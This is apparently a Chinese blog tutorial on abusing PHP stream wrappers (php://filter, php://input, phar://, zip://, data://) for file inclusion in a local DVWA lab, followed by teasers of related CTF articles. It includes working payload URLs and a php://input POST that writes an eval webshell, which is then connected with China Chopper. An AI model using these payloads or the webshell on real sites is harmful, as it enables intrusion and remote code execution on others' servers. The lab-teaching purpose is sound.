php伪协议(文件包含)

番茄酱料 番茄酱料     2022-12-11     296

关键词:

php支持多种封装协议
一.实验环境
dvwa平台low级别,phpstudy中设置为5.4.45版本
*将php.ini中的allow_url_fopen和allow_url_include都改为On
需要四个文件:
1.index.php(默认有,在phpStudy\\PHPTutorial\\WWW\\DVWA-master\\vulnerabilities\\fi目录下)

2.index.php同级目录下创建1.txt文件

3.创建2.txt文件

4.创建3.txt并且解压为3.zip

再说明一下,include()函数对文件后缀名无要求,而对其中的语法有要求,即使后缀名为txt,jpg也会被当做php文件解析,只要文件内是<?php ?>形式就可以执行,但是如果不是php语法的形式,即使后缀为php,也无法执行。
二.演示
1.php://访问输入输出流,有两个常用的子协议
(1)php://filter设计用来过滤筛选文件
用法:非php语法文件include失败,直接输出源码内容
命令:php://filter/resource=1.txt

用法:php语法文件include成功,直接运行
命令:php://filter/resource=2.txt

如果想要读取运行php文件的源码,可以先base64编码,再传入include函数,这样就不会被认为是php文件,不会执行,会输出文件的base64编码,再解码即可。

若采用rot13编码,对php文件中的<?是无效的,仍会被认为是php文件去执行,但其中的内容是乱码的,是没有输出效果的。
(2)php://input
这个协议的利用方法是 将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。
命令:php://input(get中)
<?php phpinfo();?>(post中)


这里我们用input协议将shell写入网站目录下
首先该目录下没有shell.php

然后写入
命令:php://input(get中)

<?php fputs(fopen('E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\vulnerabilities\\fi\\shell.php','w'),'<?php @eval($_POST[shell]);?>')?>(post中)


查看目录成功生成

访问网址,菜刀进行连接


成功
2.file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径
命令:file://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/2.txt

3.Phar://可以查找指定压缩包内的文件
(1)传入绝对路径
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip/3.txt

(2)传入相对路径(同级目录下的文件开始)
命令:http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://3.zip/3.txt

4.zip://用法与phar类似,不过要注意两点
(1)只能传入绝对路径
(2)要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=zip://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip%233.txt

5.data与input类似,都是用户可以控制传入的php代码
data:text/plain,<?php 执行内容 ?>
(1)data:text/plain,<?php%20echo%20%27success%27%20?>

(2)使用base64编码
data:text/plain;(注意分号不是逗号,与前面不同)base64,编码后的php代码
实验不成功…
附一张别人的成功图:

6.http协议
include中也可以传入外部链接,采用http://,具体怎么利用以后再来填坑。
命令:?page=http://www.baidu.com

一张图总结:

ctf_web:文件包含与php伪协议(代码片段)

前言在CTF题目中文件包含和伪协议使用也是常见的一类题目,常见的主要使用include()、require()等函数与其搭配产生可利用的漏洞或命令执行。0x01什么是文件包含在开发的过程中,开发人员为了更好地使用代码的重用性,不... 查看详情

文件包含与php伪协议实战演练(代码片段)

...个函数二、本地文件包含、远程文件包含的区别三、PHP伪协议测试代码目标文件常用协议1、目录遍历获取flag2、php://input、php://filter3、file://4、data://5、zip://一、PHP中造成文件包含的四个函数1、include()、require()当使用include()函数... 查看详情

cisp-pte考前练习-文件包含(代码片段)

文章目录⽂件包含漏洞利⽤的前提伪协议⽂件包含常⽤伪协议使用file://访问本地⽂件系统php://访问输⼊/输出流phar://PHP归档伪协议利⽤⽅式题目1:题目要求解题过程题目2:text/plain协议题目要求解题过程题目3:php://fi... 查看详情

网络安全篇php伪协议-漏洞及其原理(代码片段)

🏆今日学习目标:🍀学习php伪协议✅创作者:贤鱼⏰预计时间:35分钟🎉个人主页:贤鱼的个人主页🔥专栏系列:网络安全🍁贤鱼的个人社区,欢迎你的加入贤鱼摆烂团🍁如果有... 查看详情

文件包含漏洞全面详解(代码片段)

...SESSION文件4.包含临时文件四、远程文件包含(RFI)五、PHP伪协议1.file://协议2.php://协议3.ZIP://协议4.data://协议5.伪协议利用条件六、文件包含漏洞防护一、什么是文件包含漏洞1.文件包含漏洞概述和SQL注入等攻击方式一样,文件包... 查看详情

安全-php://filter文件包含分析(bugku)(代码片段)

文章目录前言一、题目二、WriteUp三、伪协议分析[1].本地复现[2].构造过滤器前言学习一下php伪协议php://filter和file://,php://可以看成和file://平级的参考PHP:iconv-ManualPHP:php://-ManualPHP:stristr-ManualPHP:strstr-Manual谈一谈php://filter的妙用... 查看详情

php伪协议(代码片段)

0x01php伪协议php伪协议其实就是支持得协议与封装这种协议一共有12种file://访问本地文件系统http://访问http/https网址php://访问各个输入/输出流data://数据phar://php归档zlib://压缩liuftp://访问FTP(S)URLSssh2://Secureshell2rar://RARogg://音频流except... 查看详情

bugku-文件包含2(代码片段)

...解题过程文件包含题目大多都是php环境的,所以先试试伪协议发现php://被ban了继续尝试,发现file://协议能用,但找了一下没有找到使用file://进行getshell或者读取源码的姿势除此之外没有什么收获用御剑扫一扫发现文件上传页面... 查看详情

[actf2020新生赛]include

...,发现url中直接出现了文件包含  考虑php://filter伪协议,使用php://filter伪协议进行文件包含时,要加上read=convert.base64-encode对文件进行编码请求得到base64编码后的文件源码:构造payload:?file=php://filter/read=convert.base64-encode/reso... 查看详情

php伪协议的妙用(代码片段)

filter协议的简单利用php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会... 查看详情

xctf-攻防世界ctf平台-web类——4web_php_include(代码片段)

目录标题方法一、文件包含:php://input伪协议绕过strstr()函数方法二、文件包含:GET方式提交命令方法三、data://伪协议方法四、一句话木马连接后台方法五、data://伪协议+一句话木马打开题目地址:代码:<?php... 查看详情

文件包含(代码片段)

...取远程文件包含allow_url_include:可以使用includerequire五.php伪协议http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.txthttp://127.0.0.1/index.php?file=zip://phpinfo.zip%23phpinfo.txt六.其 查看详情

百度杯”ctf比赛2017二月场没错!就是文件包含漏洞。

...源码:文件包含漏洞的话,看一下你么可以使用php://input伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN,目录下还有一个dle345aae.php文件,呢么用cat命令打开,并且输出文件内容(反单引号在linux中表示命令) 还有一种方... 查看详情

文件包含练习(代码片段)

文件包含的练习利用php://input协议来验证网页是否有文件包含漏洞php://input协议需要allow_url_include?file=php://imput[POSTDATA]<?phpphpinfo()?>访问请求的原始数据的制度流,将post请求的数据当做php代码来执行利用php://input协议来... 查看详情

文件包含ctf题目

...学网络攻防平台文件包含1502、解题方法:使用php://filter协议读取index文件。3、源码分析对data、input协议及../进行了过滤,但能通过filter协议进行读取。1、链接:BugkuCTF本地包含602、解题方法拼接eval构造payload。3、源码分析这里... 查看详情

cisp-pte考前练习-文件包含(代码片段)

...章目录题目1:题目要求解题过程题目2:text/plain协议题目要求解题过程题目3:php://filter伪协议题目要求解题过程摘抄题目1:题目要求解题过程第一步访问,发现是file参数来读取view.html页面内容第二步通过查... 查看详情

ctfshow刷题日记-web-文件包含(代码片段)

文件包含专题web78if(isset($_GET['file']))$file=$_GET['file'];include($file);elsehighlight_file(__FILE__);依旧是代码审计类型直接伪协议?file=php://filter/convert.base64-encode/resource=flag. 查看详情

文件包含漏洞进阶篇

...文件包含漏洞。 尝试包含本地存在的phpinfo.php使用file协议进行包含使用php协议进行base64编码读取windows特别多毛病php输入url编码原来:/etc/p 查看详情